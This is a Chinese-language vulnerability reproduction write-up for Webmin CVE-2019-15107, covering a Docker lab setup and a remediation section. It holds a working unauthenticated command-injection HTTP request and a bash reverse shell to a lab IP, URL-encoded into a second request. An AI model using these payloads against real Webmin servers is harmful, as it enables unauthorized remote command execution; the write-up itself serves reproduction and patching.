Webmin 遠端命令執行漏洞(CVE-2019-15107)
阿新 • • 發佈:2022-05-18
Webmin是一個用於管理類Unix系統的管理配置工具,具有Web頁面。在其找回密碼頁面中,存在一處無需許可權的命令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統命令。
參考連結:
- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- https://www.exploit-db.com/exploits/47230
- https://blog.firosolutions.com/exploits/webmin/
漏洞概述
- 漏洞編號:CVE-2019-15107
- 漏洞描述:該漏洞允許惡意第三方在缺少輸入驗證的情況下而執行惡意程式碼
- 該漏洞由於password_change.cgi檔案在重置密碼功能中存在一個程式碼執行漏洞,該漏洞允許惡意第三方在缺少輸入驗證的情況下而執行惡意程式碼
- 漏洞利用條件:版本滿足要求,且伺服器的配置檔案允許修改密碼時,在不知道webmin的使用者和密碼條件下,可以任意執行程式碼
影響版本
Webmin <= 1.920
環境搭建
執行如下命令,啟動webmin 1.910:
docker-compose up -d
執行完成後,訪問https://your-ip:10000
,忽略證書後即可看到webmin的登入頁面。
漏洞復現
docker ps -a檢視當前啟動的容器資訊
使用docker進入容器進行驗證 使用條件
docker exec -it 6d /bin/bash
這裡修改一下root密碼, 這樣就能進webmin中進行配置修改, 使用命令
passwd
利用修改的密碼登入
登入之後點選authentication修改密碼重置配置
在容器中使用
cat /etc/webmin/miniserv.conf 確認密碼策略正確
訪問/password_change.cgi連結,抓包注入命令
POC
POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60 user=rootxx&pam=&expired=2&old=test|ls&new1=test2&new2=test2
上面poc需要注意:ip改成自己的ip,然後user引數不能是系統賬戶,後面接執行的命令。
反彈Shell
bash -c "bash -i >& /dev/tcp/192.168.10.129/9999 0>&1"
對上面bash進行url編碼
傳送:
POST /password_change.cgi HTTP/1.1
Content-Length: 139
Host: 192.168.10.128:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://192.168.10.128:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
user=rootxx&pam=&expired=2&old=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.129%2F9999%200%3E%261%22&new1=test2&new2=test2
修復建議
目前Webmin官方已釋出最新版本Webmin 1.940 修復了該漏洞,請受影響的使用者儘快升級至最新版本:
下載連結:http://webmin.com/download.html
臨時解決方案:
1.900 到 1.920版本的使用者,編輯Webmin配置檔案:/etc/webmin/miniserv.conf,註釋或刪除“passwd_mode=”行,然後執行/etc/webmin/restart 重啟服務命令。
注:修復漏洞前請將資料備份,並進行充分測試。